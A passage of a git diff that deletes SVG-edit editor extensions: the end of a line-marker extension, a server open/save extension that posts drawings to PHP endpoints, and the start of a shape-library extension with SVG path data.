-			"se_type": se_type
-		}
-		});
-
-		if (se_type!='textmarker') {
-			var mel = addElem(marker_types[se_type]);
-			var fillcolor = color;
-			if (se_type.substr(-2)=='_o') fillcolor='none';
-			mel.setAttribute('fill',fillcolor);
-			mel.setAttribute('stroke',color);
-			mel.setAttribute('stroke-width',strokeWidth);
-			marker.appendChild(mel);
-		} else {
-			var text = addElem(marker_types[se_type]);
-			// have to add text to get bounding box
-			text.textContent = val;
-			var tb=text.getBBox();
-			//alert( tb.x + " " + tb.y + " " + tb.width + " " + tb.height);
-			var pad=1;
-			var bb = tb;
-			bb.x = 0;
-			bb.y = 0;
-			bb.width += pad*2;
-			bb.height += pad*2;
-			// shift text according to its size
-			text.setAttribute('x', pad);
-			text.setAttribute('y', bb.height - pad - tb.height/4); // kludge?
-			text.setAttribute('fill',color);
-			refX = bb.width/2+pad;
-			refY = bb.height/2+pad;
-			viewBox = bb.x + " " + bb.y + " " + bb.width + " " + bb.height;
-			markerWidth =bb.width/10;
-			markerHeight = bb.height/10;
-
-			var box = addElem({
-				"element": "rect",
-				"attr": {
-				"x": bb.x,
-				"y": bb.y,
-				"width": bb.width,
-				"height": bb.height,
-				"fill": txt_box_bg,
-				"stroke": txt_box_border,
-				"stroke-width": txt_box_stroke_width
-			}
-			});
-			marker.setAttribute("orient",0);
-			marker.appendChild(box);
-			marker.appendChild(text);
-		} 
-
-		marker.setAttribute("viewBox",viewBox);
-		marker.setAttribute("markerWidth", markerWidth);
-		marker.setAttribute("markerHeight", markerHeight);
-		marker.setAttribute("refX", refX);
-		marker.setAttribute("refY", refY);
-		S.findDefs().appendChild(marker);
-
-		return marker;
-	}
-
-
-	function setMarker() {
-		var poslist={'start_marker':'start','mid_marker':'mid','end_marker':'end'};
-		var pos = poslist[this.id];
-		var marker_name = 'marker-'+pos;
-		var val = this.value;
-		var el = selElems[0];
-		var marker = getLinked(el, marker_name);
-		if (marker) $(marker).remove();
-		el.removeAttribute(marker_name);
-		if (val=='') val='\\nomarker';
-		if (val=='\\nomarker') {
-			setIcon(pos,val);
-			S.call("changed", selElems);
-			return;
-		}
-		// Set marker on element
-		var id = marker_prefix + pos + '_' + el.id;
-		addMarker(id, val);
-		svgCanvas.changeSelectedAttribute(marker_name, "url(#" + id + ")");
-		if (el.tagName == "line" && pos=='mid') el=convertline(el);
-		S.call("changed", selElems);
-		setIcon(pos,val);
-	}
-
-	function convertline(elem) {
-		// this routine came from the connectors extension
-		// it is needed because midpoint markers don't work with line elements
-		if (!(elem.tagName == "line")) return elem;
-
-		// Convert to polyline to accept mid-arrow
-
-		var x1 = elem.getAttribute('x1')-0;
-		var x2 = elem.getAttribute('x2')-0;
-		var y1 = elem.getAttribute('y1')-0;
-		var y2 = elem.getAttribute('y2')-0;
-		var id = elem.id;
-
-		var mid_pt = (' '+((x1+x2)/2)+','+((y1+y2)/2) + ' ');
-		var pline = addElem({
-			"element": "polyline",
-			"attr": {
-			"points": (x1+','+y1+ mid_pt +x2+','+y2),
-			"stroke": elem.getAttribute('stroke'),
-			"stroke-width": elem.getAttribute('stroke-width'),
-			"fill": "none",
-			"opacity": elem.getAttribute('opacity') || 1
-		}
-		});
-		$.each(mtypes, function(i, pos) { // get any existing marker definitions
-			var nam = 'marker-'+pos;
-			var m = elem.getAttribute(nam);
-			if (m) pline.setAttribute(nam,elem.getAttribute(nam));
-		});
-		
-		var batchCmd = new S.BatchCommand();
-		batchCmd.addSubCommand(new S.RemoveElementCommand(elem, elem.parentNode));
-		batchCmd.addSubCommand(new S.InsertElementCommand(pline));
-		
-		$(elem).after(pline).remove();
-		svgCanvas.clearSelection();
-		pline.id = id;
-		svgCanvas.addToSelection([pline]);
-		S.addCommandToHistory(batchCmd);
-		return pline;
-	}
-
-	// called when the main system modifies an object
-	// this routine changes the associated markers to be the same color
-	function colorChanged(elem) {
-		var color = elem.getAttribute('stroke');
-
-		$.each(mtypes, function(i, pos) {
-			var marker = getLinked(elem, 'marker-'+pos);
-			if (!marker) return;
-			if (!marker.attributes.se_type) return; //not created by this extension
-			var ch = marker.lastElementChild;
-			if (!ch) return;
-			var curfill = ch.getAttribute("fill");
-			var curstroke = ch.getAttribute("stroke")
-			if (curfill && curfill!='none') ch.setAttribute("fill",color);
-			if (curstroke && curstroke!='none') ch.setAttribute("stroke",color);
-		});
-	}
-
-	// called when the main system creates or modifies an object
-	// primary purpose is create new markers for cloned objects
-	function updateReferences(el) {
-		$.each(mtypes, function (i,pos) {
-			var id = marker_prefix + pos + '_' + el.id;
-			var marker_name = 'marker-'+pos;
-			var marker = getLinked(el, marker_name);
-			if (!marker || !marker.attributes.se_type) return; //not created by this extension
-			var url = el.getAttribute(marker_name);
-			if (url) {
-				var len = el.id.length;
-				var linkid = url.substr(-len-1,len);
-				if (el.id != linkid) {
-					var val = $('#'+pos+'_marker').attr('value');
-					addMarker(id, val);
-					svgCanvas.changeSelectedAttribute(marker_name, "url(#" + id + ")");
-					if (el.tagName == "line" && pos=='mid') el=convertline(el);
-					S.call("changed", selElems);
-				}
-			}
-		});
-	}
-
-	// simulate a change event a text box that stores the current element's marker type
-	function triggerTextEntry(pos,val) {
-		$('#'+pos+'_marker').val(val);
-		$('#'+pos+'_marker').change();
-		var txtbox = $('#'+pos+'_marker');
-		//if (val.substr(0,1)=='\\') txtbox.hide();
-		//else txtbox.show();
-	}
-	
-	function setIcon(pos,id) {
-		if (id.substr(0,1)!='\\') id='\\textmarker'
-		var ci = '#'+id_prefix+pos+'_'+id.substr(1);
-		svgEditor.setIcon('#cur_' + pos +'_marker_list', $(ci).children());
-		$(ci).addClass('current').siblings().removeClass('current');
-	}
-		
-	function setMarkerSet(obj) {
-		var parts = this.id.split('_');
-		var set = parts[2];
-		switch (set) {
-		case 'off':
-			triggerTextEntry('start','\\nomarker');
-			triggerTextEntry('mid','\\nomarker');
-			triggerTextEntry('end','\\nomarker');
-			break;
-		case 'dimension':
-			triggerTextEntry('start','\\leftarrow');
-			triggerTextEntry('end','\\rightarrow');
-			showTextPrompt('mid');
-			break;
-		case 'label':
-			triggerTextEntry('mid','\\nomarker');
-			triggerTextEntry('end','\\rightarrow');
-			showTextPrompt('start');
-			break;
-		}
-	}
-		
-	function showTextPrompt(pos) {
-		var def = $('#'+pos+'_marker').val();
-		if (def.substr(0,1)=='\\') def='';
-		$.prompt('Enter text for ' + pos + ' marker', def , function(txt) { if (txt) triggerTextEntry(pos,txt); });
-	}
-	
-	// callback function for a toolbar button click
-	function setArrowFromButton(obj) {
-		
-		var parts = this.id.split('_');
-		var pos = parts[1];
-		var val = parts[2];
-		if (parts[3]) val+='_'+parts[3];
-		
-		if (val!='textmarker') {
-			triggerTextEntry(pos,'\\'+val);
-		} else {
-			showTextPrompt(pos);
-		}
-	}
-	
-	function getTitle(lang,id) {
-		var list = lang_list[lang];
-		for (var i in list) {
-			if (list[i].id==id) return list[i].title;
-		}
-		return id;
-	}
-	
-	
-	// build the toolbar button array from the marker definitions
-	// TODO: need to incorporate language specific titles
-	function buildButtonList() {
-		var buttons=[];
-		var i=0;
-/*
-		buttons.push({
-			id:id_prefix + 'markers_off',
-			title:'Turn off all markers',
-			type:'context',
-			events: { 'click': setMarkerSet },
-			panel: 'marker_panel'
-		});
-		buttons.push({
-			id:id_prefix + 'markers_dimension',
-			title:'Dimension',
-			type:'context',
-			events: { 'click': setMarkerSet },
-			panel: 'marker_panel'
-		});
-		buttons.push({
-			id:id_prefix + 'markers_label',
-			title:'Label',
-			type:'context',
-			events: { 'click': setMarkerSet },
-			panel: 'marker_panel'
-		});
-*/
-		$.each(mtypes,function(k,pos) {
-			var listname = pos + "_marker_list";
-			var def = true;
-		$.each(marker_types,function(id,v) {
-			var title = getTitle('en',id);
-			buttons.push({
-					id:id_prefix + pos + "_" + id,
-					svgicon:id,
-					title:title,
-					type:'context',
-					events: { 'click': setArrowFromButton },
-					panel:'marker_panel',
-					list: listname,
-					isDefault: def
-			});
-			def = false;
-		});
-		});
-		return buttons;
-	}
-
-	return {
-		name: "Markers",
-		svgicons: "extensions/markers-icons.xml",
-		buttons: buildButtonList(),
-		context_tools: [
-		   {
-			type: "input",
-			panel: "marker_panel",
-			title: "Start marker",
-			id: "start_marker",
-			label: "s",
-			size: 3,
-			events: { change: setMarker }
-		},{
-			type: "button-select",
-			panel: "marker_panel",
-			title: getTitle('en','start_marker_list'),
-			id: "start_marker_list",
-			colnum: 3,
-			events: { change: setArrowFromButton }
-		},{
-			type: "input",
-			panel: "marker_panel",
-			title: "Middle marker",
-			id: "mid_marker",
-			label: "m",
-			defval: "",
-			size: 3,
-			events: { change: setMarker }
-		},{
-			type: "button-select",
-			panel: "marker_panel",
-			title: getTitle('en','mid_marker_list'),
-			id: "mid_marker_list",
-			colnum: 3,
-			events: { change: setArrowFromButton }
-		},{
-			type: "input",
-			panel: "marker_panel",
-			title: "End marker",
-			id: "end_marker",
-			label: "e",
-			size: 3,
-			events: { change: setMarker }
-		},{
-			type: "button-select",
-			panel: "marker_panel",
-			title: getTitle('en','end_marker_list'),
-			id: "end_marker_list",
-			colnum: 3,
-			events: { change: setArrowFromButton }
-		} ],
-		callback: function() {
-			$('#marker_panel').addClass('toolset').hide();
-			
-		},
-		addLangData: function(lang) {
-			return { data: lang_list[lang] };
-		},
-
-	selectedChanged: function(opts) {
-		// Use this to update the current selected elements
-		//console.log('selectChanged',opts);
-		selElems = opts.elems;
-
-		var i = selElems.length;
-		var marker_elems = ['line','path','polyline','polygon'];
-
-		while(i--) {
-			var elem = selElems[i];
-			if(elem && $.inArray(elem.tagName, marker_elems) != -1) {
-				if(opts.selectedElement && !opts.multiselected) {
-					showPanel(true);
-				} else {
-					showPanel(false);
-				}
-			} else {
-				showPanel(false);
-			}
-		}
-	},
-
-	elementChanged: function(opts) {		
-		//console.log('elementChanged',opts);
-		var elem = opts.elems[0];
-		if(elem && (
-				elem.getAttribute("marker-start") ||
-				elem.getAttribute("marker-mid") ||
-				elem.getAttribute("marker-end")
-		)) {
-			colorChanged(elem);
-			updateReferences(elem);
-		}
-		changing_flag = false;
-	}
-	};
-});
diff --git a/public/svg-edit/editor/extensions/ext-server_opensave.js b/public/svg-edit/editor/extensions/ext-server_opensave.js
deleted file mode 100644
index 278d9e5b..00000000
--- a/public/svg-edit/editor/extensions/ext-server_opensave.js
+++ /dev/null
@@ -1,180 +0,0 @@
-/*
- * ext-server_opensave.js
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Alexis Deveria
- *
- */
-
-svgEditor.addExtension("server_opensave", {
-	callback: function() {
-
-		var save_svg_action = 'extensions/filesave.php';
-		var save_png_action = 'extensions/filesave.php';
-	
-		// Create upload target (hidden iframe)
-		var target = $('<iframe name="output_frame" src="#"/>').hide().appendTo('body');
-	
-		svgEditor.setCustomHandlers({
-			save: function(win, data) {
-				var svg = "<?xml version=\"1.0\"?>\n" + data;
-				
-				var title = svgCanvas.getDocumentTitle();
-				var filename = title.replace(/[^a-z0-9\.\_\-]+/gi, '_');
-				
-				var form = $('<form>').attr({
-					method: 'post',
-					action: save_svg_action,
-					target: 'output_frame'
-				})	.append('<input type="hidden" name="output_svg" value="' + encodeURI(svg) + '">')
-					.append('<input type="hidden" name="filename" value="' + filename + '">')
-					.appendTo('body')
-					.submit().remove();
-			},
-			pngsave: function(win, data) {
-				var issues = data.issues;
-				
-				if(!$('#export_canvas').length) {
-					$('<canvas>', {id: 'export_canvas'}).hide().appendTo('body');
-				}
-				var c = $('#export_canvas')[0];
-				
-				c.width = svgCanvas.contentW;
-				c.height = svgCanvas.contentH;
-				canvg(c, data.svg, {renderCallback: function() {
-					var datauri = c.toDataURL('image/png');
-					
-					var uiStrings = svgEditor.uiStrings;
-					var note = '';
-					
-					// Check if there's issues
-					if(issues.length) {
-						var pre = "\n \u2022 ";
-						note += ("\n\n" + pre + issues.join(pre));
-					} 
-					
-					if(note.length) {
-						alert(note);
-					}
-					
-					var title = svgCanvas.getDocumentTitle();
-					var filename = title.replace(/[^a-z0-9\.\_\-]+/gi, '_');
-					
-					var form = $('<form>').attr({
-						method: 'post',
-						action: save_png_action,
-						target: 'output_frame'
-					})	.append('<input type="hidden" name="output_png" value="' + datauri + '">')
-						.append('<input type="hidden" name="filename" value="' + filename + '">')
-						.appendTo('body')
-						.submit().remove();
-				}});
-	
-				
-			}
-		});
-	
-		// Do nothing if client support is found
-		if(window.FileReader) return;
-		
-		var cancelled = false;
-	
-		// Change these to appropriate script file
-		var open_svg_action = 'extensions/fileopen.php?type=load_svg';
-		var import_svg_action = 'extensions/fileopen.php?type=import_svg';
-		var import_img_action = 'extensions/fileopen.php?type=import_img';
-		
-		// Set up function for PHP uploader to use
-		svgEditor.processFile = function(str64, type) {
-			if(cancelled) {
-				cancelled = false;
-				return;
-			}
-		
-			$('#dialog_box').hide();
-		
-			if(type != 'import_img') {
-				var xmlstr = svgCanvas.Utils.decode64(str64);
-			}
-			
-			switch ( type ) {
-				case 'load_svg':
-					svgCanvas.clear();
-					svgCanvas.setSvgString(xmlstr);
-					svgEditor.updateCanvas();
-					break;
-				case 'import_svg':
-					svgCanvas.importSvgString(xmlstr);
-					svgEditor.updateCanvas();					
-					break;
-				case 'import_img':
-					svgCanvas.setGoodImage(str64);
-					break;
-			}
-		}
-	
-		// Create upload form
-		var open_svg_form = $('<form>');
-		open_svg_form.attr({
-			enctype: 'multipart/form-data',
-			method: 'post',
-			action: open_svg_action,
-			target: 'output_frame'
-		});
-		
-		// Create import form
-		var import_svg_form = open_svg_form.clone().attr('action', import_svg_action);
-		
-		// Create image form
-		var import_img_form = open_svg_form.clone().attr('action', import_img_action);
-		
-		// It appears necessory to rebuild this input every time a file is 
-		// selected so the same file can be picked and the change event can fire.
-		function rebuildInput(form) {
-			form.empty();
-			var inp = $('<input type="file" name="svg_file">').appendTo(form);
-			
-			
-			function submit() {
-				// This submits the form, which returns the file data using svgEditor.uploadSVG
-				form.submit();
-				
-				rebuildInput(form);
-				$.process_cancel("Uploading...", function() {
-					cancelled = true;
-					$('#dialog_box').hide();
-				});
-			}
-			
-			if(form[0] == open_svg_form[0]) {
-				inp.change(function() {
-					// This takes care of the "are you sure" dialog box
-					svgEditor.openPrep(function(ok) {
-						if(!ok) {
-							rebuildInput(form);
-							return;
-						}
-						submit();
-					});
-				});
-			} else {
-				inp.change(function() {
-					// This submits the form, which returns the file data using svgEditor.uploadSVG
-					submit();
-				});
-			}
-		}
-		
-		// Create the input elements
-		rebuildInput(open_svg_form);
-		rebuildInput(import_svg_form);
-		rebuildInput(import_img_form);
-
-		// Add forms to buttons
-		$("#tool_open").show().prepend(open_svg_form);
-		$("#tool_import").show().prepend(import_svg_form);
-		$("#tool_image").prepend(import_img_form);
-	}
-});
-
diff --git a/public/svg-edit/editor/extensions/ext-shapes.js b/public/svg-edit/editor/extensions/ext-shapes.js
deleted file mode 100644
index 92f5db99..00000000
--- a/public/svg-edit/editor/extensions/ext-shapes.js
+++ /dev/null
@@ -1,387 +0,0 @@
-/*
- * ext-shapes.js
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Christian Tzurcanu
- * Copyright(c) 2010 Alexis Deveria
- *
- */
-
-svgEditor.addExtension("shapes", function() {
-	
-
-	var current_d, cur_shape_id;
-	var canv = svgEditor.canvas;
-	var cur_shape;
-	var start_x, start_y;
-	var svgroot = canv.getRootElem();
-	var lastBBox = {};
-	
-	// This populates the category list
-	var categories = {
-		basic: 'Basic',
-		object: 'Objects',
-		symbol: 'Symbols',
-		arrow: 'Arrows',
-		flowchart: 'Flowchart',
-		animal: 'Animals',
-		game: 'Cards & Chess',
-		dialog_balloon: 'Dialog balloons',
-		electronics: 'Electronics',
-		math: 'Mathematical',
-		music: 'Music',
-		misc: 'Miscellaneous',
-		raphael_1: 'raphaeljs.com set 1',
-		raphael_2: 'raphaeljs.com set 2'
-	};
-	
-	var library = {
-		'basic': {
-			data: {
-				'heart': 'm150,73c61,-175 300,0 0,225c-300,-225 -61,-400 0,-225z',
-				'frame': 'm0,0l300,0l0,300l-300,0zm35,-265l0,230l230,0l0,-230z',
-				'donut': 'm1,150l0,0c0,-82.29042 66.70958,-149 149,-149l0,0c39.51724,0 77.41599,15.69816 105.35889,43.64108c27.94293,27.94293 43.64111,65.84165 43.64111,105.35892l0,0c0,82.29041 -66.70958,149 -149,149l0,0c-82.29041,0 -149,-66.70959 -149,-149zm74.5,0l0,0c0,41.1452 33.35481,74.5 74.5,74.5c41.14522,0 74.5,-33.3548 74.5,-74.5c0,-41.1452 -33.3548,-74.5 -74.5,-74.5l0,0c-41.14519,0 -74.5,33.35481 -74.5,74.5z',
-				"triangle": "m1,280.375l149,-260.75l149,260.75z",
-				"right_triangle": "m1,299l0,-298l298,298z",
-				"diamond": "m1,150l149,-149l149,149l-149,149l-149,-149z",
-				"pentagon": "m1.00035,116.97758l148.99963,-108.4053l148.99998,108.4053l-56.91267,175.4042l-184.1741,0l-56.91284,-175.4042z",
-				"hexagon": "m1,149.99944l63.85715,-127.71428l170.28572,0l63.85713,127.71428l-63.85713,127.71428l-170.28572,0l-63.85715,-127.71428z",
-				"septagon1": "m0.99917,191.06511l29.51249,-127.7108l119.48833,-56.83673l119.48836,56.83673l29.51303,127.7108l-82.69087,102.41679l-132.62103,0l-82.69031,-102.41679z",
-				"heptagon": "m1,88.28171l87.28172,-87.28171l123.43653,0l87.28172,87.28171l0,123.43654l-87.28172,87.28172l-123.43653,0l-87.28172,-87.28172l0,-123.43654z",
-				"decagon": "m1,150.00093l28.45646,-88.40318l74.49956,-54.63682l92.08794,0l74.50002,54.63682l28.45599,88.40318l-28.45599,88.40318l-74.50002,54.63681l-92.08794,0l-74.49956,-54.63681l-28.45646,-88.40318z",
-				"dodecagon": "m1,110.07421l39.92579,-69.14842l69.14842,-39.92579l79.85159,0l69.14842,39.92579l39.92578,69.14842l0,79.85159l-39.92578,69.14842l-69.14842,39.92578l-79.85159,0l-69.14842,-39.92578l-39.92579,-69.14842l0,-79.85159z",
-				"star_points_5": "m1,116.58409l113.82668,0l35.17332,-108.13487l35.17334,108.13487l113.82666,0l-92.08755,66.83026l35.17514,108.13487l-92.08759,-66.83208l-92.08757,66.83208l35.17515,-108.13487l-92.08758,-66.83026z",
-				"trapezoid": "m1,299l55.875,-298l186.25001,0l55.87498,298z",
-				"arrow_up": "m1.49805,149.64304l148.50121,-148.00241l148.50121,148.00241l-74.25061,0l0,148.71457l-148.5012,0l0,-148.71457z",
-				"vertical_scrool": "m37.375,261.625l0,-242.9375l0,0c0,-10.32083 8.36669,-18.6875 18.6875,-18.6875l224.25,0c10.32083,0 18.6875,8.36667 18.6875,18.6875c0,10.32081 -8.36667,18.6875 -18.6875,18.6875l-18.6875,0l0,242.9375c0,10.32083 -8.36668,18.6875 -18.6875,18.6875l-224.25,0l0,0c-10.32083,0 -18.6875,-8.36667 -18.6875,-18.6875c0,-10.32083 8.36667,-18.6875 18.6875,-18.6875zm37.375,-261.625l0,0c10.32081,0 18.6875,8.36667 18.6875,18.6875c0,10.32081 -8.36669,18.6875 -18.6875,18.6875c-5.1604,0 -9.34375,-4.18335 -9.34375,-9.34375c0,-5.16041 4.18335,-9.34375 9.34375,-9.34375l18.6875,0m186.875,18.6875l-205.5625,0m-37.375,224.25l0,0c5.1604,0 9.34375,4.18335 9.34375,9.34375c0,5.1604 -4.18335,9.34375 -9.34375,9.34375l18.6875,0m-18.6875,18.6875l0,0c10.32081,0 18.6875,-8.36667 18.6875,-18.6875l0,-18.6875",
-				"smiley": "m68.49886,214.78838q81.06408,55.67332 161.93891,0m-144.36983,-109.9558c0,-8.60432 6.97517,-15.57949 15.57948,-15.57949c8.60431,0 15.57948,6.97517 15.57948,15.57949c0,8.60431 -6.97517,15.57947 -15.57948,15.57947c-8.60431,0 -15.57948,-6.97516 -15.57948,-15.57947m95.83109,0c0,-8.60432 6.97517,-15.57949 15.57948,-15.57949c8.60431,0 15.57947,6.97517 15.57947,15.57949c0,8.60431 -6.97516,15.57947 -15.57947,15.57947c-8.60429,0 -15.57948,-6.97516 -15.57948,-15.57947m-181.89903,44.73038l0,0c0,-82.60133 66.96162,-149.56296 149.56296,-149.56296c82.60135,0 149.56296,66.96162 149.56296,149.56296c0,82.60135 -66.96161,149.56296 -149.56296,149.56296c-82.60133,0 -149.56296,-66.96161 -149.56296,-149.56296zm0,0l0,0c0,-82.60133 66.96162,-149.56296 149.56296,-149.56296c82.60135,0 149.56296,66.96162 149.56296,149.56296c0,82.60135 -66.96161,149.56296 -149.56296,149.56296c-82.60133,0 -149.56296,-66.96161 -149.56296,-149.56296z",
-				"left_braket": "m174.24565,298.5c-13.39009,0 -24.24489,-1.80908 -24.24489,-4.04065l0,-140.4187c0,-2.23158 -10.85481,-4.04065 -24.2449,-4.04065l0,0c13.39009,0 24.2449,-1.80907 24.2449,-4.04065l0,-140.4187l0,0c0,-2.23159 10.8548,-4.04066 24.24489,-4.04066",
-				"uml_actor": "m40.5,100l219,0m-108.99991,94.00006l107,105m-107.00009,-106.00006l-100,106m99.5,-231l0,125m33.24219,-158.75781c0,18.35916 -14.88303,33.24219 -33.24219,33.24219c-18.35916,0 -33.2422,-14.88303 -33.2422,-33.24219c0.00002,-18.35915 14.88304,-33.24219 33.2422,-33.24219c18.35916,0 33.24219,14.88304 33.24219,33.24219z",
-				"dialog_balloon_1": "m0.99786,35.96579l0,0c0,-19.31077 15.28761,-34.96524 34.14583,-34.96524l15.52084,0l0,0l74.50001,0l139.68748,0c9.05606,0 17.74118,3.68382 24.14478,10.24108c6.40356,6.55726 10.00107,15.45081 10.00107,24.72416l0,87.41311l0,0l0,52.44785l0,0c0,19.31078 -15.2876,34.96524 -34.14584,34.96524l-139.68748,0l-97.32507,88.90848l22.82506,-88.90848l-15.52084,0c-18.85822,0 -34.14583,-15.65446 -34.14583,-34.96524l0,0l0,-52.44785l0,0z",
-				"cloud": "m182.05086,34.31005c-0.64743,0.02048 -1.27309,0.07504 -1.92319,0.13979c-10.40161,1.03605 -19.58215,7.63722 -24.24597,17.4734l-2.47269,7.44367c0.53346,-2.57959 1.35258,-5.08134 2.47269,-7.44367c-8.31731,-8.61741 -19.99149,-12.59487 -31.52664,-10.72866c-11.53516,1.8662 -21.55294,9.3505 -27.02773,20.19925c-15.45544,-9.51897 -34.72095,-8.94245 -49.62526,1.50272c-14.90431,10.44516 -22.84828,28.93916 -20.43393,47.59753l1.57977,7.58346c-0.71388,-2.48442 -1.24701,-5.01186 -1.57977,-7.58346l-0.2404,0.69894c-12.95573,1.4119 -23.58103,11.46413 -26.34088,24.91708c-2.75985,13.45294 2.9789,27.25658 14.21789,34.21291l17.54914,4.26352c-6.1277,0.50439 -12.24542,-0.9808 -17.54914,-4.26352c-8.66903,9.71078 -10.6639,24.08736 -4.94535,35.96027c5.71854,11.87289 17.93128,18.70935 30.53069,17.15887l7.65843,-2.02692c-2.46413,1.0314 -5.02329,1.70264 -7.65843,2.02692c7.15259,13.16728 19.01251,22.77237 32.93468,26.5945c13.92217,3.82214 28.70987,1.56322 41.03957,-6.25546c10.05858,15.86252 27.91113,24.19412 45.81322,21.38742c17.90208,-2.8067 32.66954,-16.26563 37.91438,-34.52742l1.82016,-10.20447c-0.27254,3.46677 -0.86394,6.87508 -1.82016,10.20447c12.31329,8.07489 27.80199,8.52994 40.52443,1.18819c12.72244,-7.34175 20.6609,-21.34155 20.77736,-36.58929l-4.56108,-22.7823l-17.96776,-15.41455c13.89359,8.70317 22.6528,21.96329 22.52884,38.19685c16.5202,0.17313 30.55292,-13.98268 36.84976,-30.22897c6.29684,-16.24631 3.91486,-34.76801 -6.2504,-48.68089c4.21637,-10.35873 3.96622,-22.14172 -0.68683,-32.29084c-4.65308,-10.14912 -13.23602,-17.69244 -23.55914,-20.65356c-2.31018,-13.45141 -11.83276,-24.27162 -24.41768,-27.81765c-12.58492,-3.54603 -25.98557,0.82654 -34.41142,11.25287l-5.11707,8.63186c1.30753,-3.12148 3.01521,-6.03101 5.11707,-8.63186c-5.93959,-8.19432 -15.2556,-12.8181 -24.96718,-12.51096z",
-				"cylinder": "m299.0007,83.77844c0,18.28676 -66.70958,33.11111 -149.00002,33.11111m149.00002,-33.11111l0,0c0,18.28676 -66.70958,33.11111 -149.00002,33.11111c-82.29041,0 -148.99997,-14.82432 -148.99997,-33.11111m0,0l0,0c0,-18.28674 66.70956,-33.1111 148.99997,-33.1111c82.29044,0 149.00002,14.82436 149.00002,33.1111l0,132.44449c0,18.28674 -66.70958,33.11105 -149.00002,33.11105c-82.29041,0 -148.99997,-14.82431 -148.99997,-33.11105z",
-				"arrow_u_turn": "m1.00059,299.00055l0,-167.62497l0,0c0,-72.00411 58.37087,-130.37499 130.375,-130.37499l0,0l0,0c34.57759,0 67.73898,13.7359 92.18906,38.18595c24.45006,24.45005 38.18593,57.61144 38.18593,92.18904l0,18.625l37.24997,0l-74.49995,74.50002l-74.50002,-74.50002l37.25,0l0,-18.625c0,-30.8589 -25.0161,-55.87498 -55.87498,-55.87498l0,0l0,0c-30.85892,0 -55.875,25.01608 -55.875,55.87498l0,167.62497z",
-				"arrow_left_up": "m0.99865,224.5l74.50004,-74.5l0,37.25l111.74991,0l0,-111.75l-37.25,0l74.5,-74.5l74.5,74.5l-37.25,0l0,186.25l-186.24989,0l0,37.25l-74.50005,-74.5z",
-				"maximize": "m1.00037,150.34581l55.30305,-55.30267l0,27.65093l22.17356,0l0,-44.21833l44.21825,0l0,-22.17357l-27.65095,0l55.30267,-55.30292l55.3035,55.30292l-27.65175,0l0,22.17357l44.21835,0l0,44.21833l22.17357,0l0,-27.65093l55.30345,55.30267l-55.30345,55.3035l0,-27.65175l-22.17357,0l0,44.21834l-44.21835,0l0,22.17355l27.65175,0l-55.3035,55.30348l-55.30267,-55.30348l27.65095,0l0,-22.17355l-44.21825,0l0,-44.21834l-22.17356,0l0,27.65175l-55.30305,-55.3035z",
-				"cross": "m0.99844,99.71339l98.71494,0l0,-98.71495l101.26279,0l0,98.71495l98.71495,0l0,101.2628l-98.71495,0l0,98.71494l-101.26279,0l0,-98.71494l-98.71494,0z",
-				"plaque": "m-0.00197,49.94376l0,0c27.5829,0 49.94327,-22.36036 49.94327,-49.94327l199.76709,0l0,0c0,27.5829 22.36037,49.94327 49.94325,49.94327l0,199.7671l0,0c-27.58289,0 -49.94325,22.36034 -49.94325,49.94325l-199.76709,0c0,-27.58292 -22.36037,-49.94325 -49.94327,-49.94325z",
-				"page": "m249.3298,298.99744l9.9335,-39.73413l39.73413,-9.93355l-49.66763,49.66768l-248.33237,0l0,-298.00001l298.00001,0l0,248.33234"
-
-			},
-			buttons: []
-		}
-	};
-	
-	var cur_lib = library.basic;
-	
-	var mode_id = 'shapelib';
-	
-	function loadIcons() {
-		$('#shape_buttons').empty();
-		
-		// Show lib ones
-		$('#shape_buttons').append(cur_lib.buttons);
-	}
-	
-	function loadLibrary(cat_id) {
-	
-		var lib = library[cat_id];
-		
-		if(!lib) {
-			$('#shape_buttons').html('Loading...');
-			$.getJSON('extensions/shapelib/' + cat_id + '.json', function(result, textStatus) {
-				cur_lib = library[cat_id] = {
-					data: result.data,
-					size: result.size,
-					fill: result.fill
-				}
-				makeButtons(cat_id, result);
-				loadIcons();
-			});
-			return;
-		}
-		
-		cur_lib = lib;
-		if(!lib.buttons.length)	makeButtons(cat_id, lib);
-		loadIcons();
-	}
-	
-	function makeButtons(cat, shapes) {
-		var size = cur_lib.size || 300;
-		var fill = cur_lib.fill || false;
-		var off = size * .05;
-		var vb = [-off, -off, size + off*2, size + off*2].join(' ');
-		var stroke = fill ? 0: (size/30);
-		
-		var shape_icon = new DOMParser().parseFromString(
-			'<svg xmlns="http://www.w3.org/2000/svg"><svg viewBox="' + vb + '"><path fill="'+(fill?'#333':'none')+'" stroke="#000000" stroke-width="' + stroke + '" /><\/svg><\/svg>',
-			'text/xml');
-
-		var width = 24;
-		var height = 24;
-		shape_icon.documentElement.setAttribute('width', width);
-		shape_icon.documentElement.setAttribute('height', height);
-		var svg_elem = $(document.importNode(shape_icon.documentElement,true));
-	
-		var data = shapes.data;
-		
-		cur_lib.buttons = [];
-	
-		for(var id in data) {
-			var path_d = data[id];
-			var icon = svg_elem.clone();
-			icon.find('path').attr('d', path_d);
-			
-			var icon_btn = icon.wrap('<div class="tool_button">').parent().attr({
-				id: mode_id + '_' + id,
-				title: id
-			});
-			
-			
-			// Store for later use
-			cur_lib.buttons.push(icon_btn[0]);
-		}
-		
-	}
-
-	
-	return {
-		svgicons: "extensions/ext-shapes.xml",
-		buttons: [{
-			id: "tool_shapelib",
-			type: "mode_flyout", // _flyout
-			position: 6,
-			title: "Shape library",
-			events: {
-				"click": function() {
-					canv.setMode(mode_id);
-				}
-			}
-		}],
-		callback: function() {
-		
-			$('<style>').text('\
-			#shape_buttons {\
-				overflow: auto;\
-				width: 180px;\
-				max-height: 300px;\
-				display: table-cell;\
-				vertical-align: middle;\
-			}\
-			\
-			#shape_cats {\
-				min-width: 110px;\
-				display: table-cell;\
-				vertical-align: middle;\
-				height: 300px;\
-			}\
-			#shape_cats > div {\
-				line-height: 1em;\
-				padding: .5em;\
-				border:1px solid #B0B0B0;\
-				background: #E8E8E8;\
-				margin-bottom: -1px;\
-			}\
-			#shape_cats div:hover {\
-				background: #FFFFCC;\
-			}\
-			#shape_cats div.current {\
-				font-weight: bold;\
-			}').appendTo('head');
-
-		
-			var btn_div = $('<div id="shape_buttons">');
-			$('#tools_shapelib > *').wrapAll(btn_div);
-			
-			var shower = $('#tools_shapelib_show');
-
-			
-			loadLibrary('basic');
-			
-			// Do mouseup on parent element rather than each button
-			$('#shape_buttons').mouseup(function(evt) {
